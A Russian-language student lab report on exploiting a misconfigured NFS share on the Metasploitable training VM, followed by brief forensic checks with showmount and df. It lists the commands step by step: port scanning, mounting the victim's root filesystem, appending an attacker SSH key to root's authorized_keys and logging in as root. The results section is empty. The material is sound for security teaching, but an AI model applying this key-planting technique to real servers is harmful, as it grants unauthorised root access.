ЛАБОРАТОРНАЯ РАБОТА №4. ИСПОЛЬЗОВАНИЕ УЯЗВИМОСТИ НЕПРАВИЛЬНО СКОНФИГУРИРОВАННОЙ NFS SHARE. ФОРЕНЗИКА.

Касаткин Александр Денисович  
11-902

Атака Metasploitable

1. на виртуальной машине Kali Linux с помощью команды nmap map -p 1-65535 -T4 -A -v 192.168.109.134 2>&1 | tee /var/tmp/scan.txt выполнить сканирование виртуальной машины Metasploitable (далее – машина-жертва), результат сканирования сохранить в файл /var/tmp/scan.txt;
2. Определяем порт (порты), которые используют сервисы rpcinfo, nfs и ssh *egrep –i ‘(rpcinfo|nfs|ssh)’ /var/tmp/scan.txt*
3. Выполняем команду *rpcinfo –p* нас интересует nfs сервер

Использование неправильно сконфигурированной NFS Mount.

1. Создадим каталог */root/.ssh* командой *mkdir -p /root/.ssh* и перейдем в эту директорию
2. Выполним команду *ssh-keygen -t rsa -b 4096* для создания ключей
3. Примонтируем файловую систему машины-жертвы командой *mount -t nfs MS\_IP:/ /mnt -o nolock*
4. Скопировать публичный ключ командой cp */root/.ssh/hacker\_rsa.pub /mnt/root/.ssh/*
5. Скопируем публичный ключ в *authorized\_keys* командой *cat hacker\_rsa.pub >> authorized\_keys*
6. Посмотрим измененный файл *authorized\_keys* командой *cat authorized\_keys*
7. перейдите в каталог */root/.ssh/*

подключитесь по ssh к машине жертвы командой *ssh -i /root/.ssh/hacker\_rsa root@MS\_IP*, подтвердив диалоговом окне подключение

Форезинка

1. просмотреть список подключенных машин к серверу NFS командой showmount –a MS\_IP;
2. размонтировать файловую систему машины-жертвы;
3. убедиться в её отсутствии командой df –k;
4. командой showmount –a MS\_IP убедиться, что ip адрес атакующей машины исчез.

Результат:

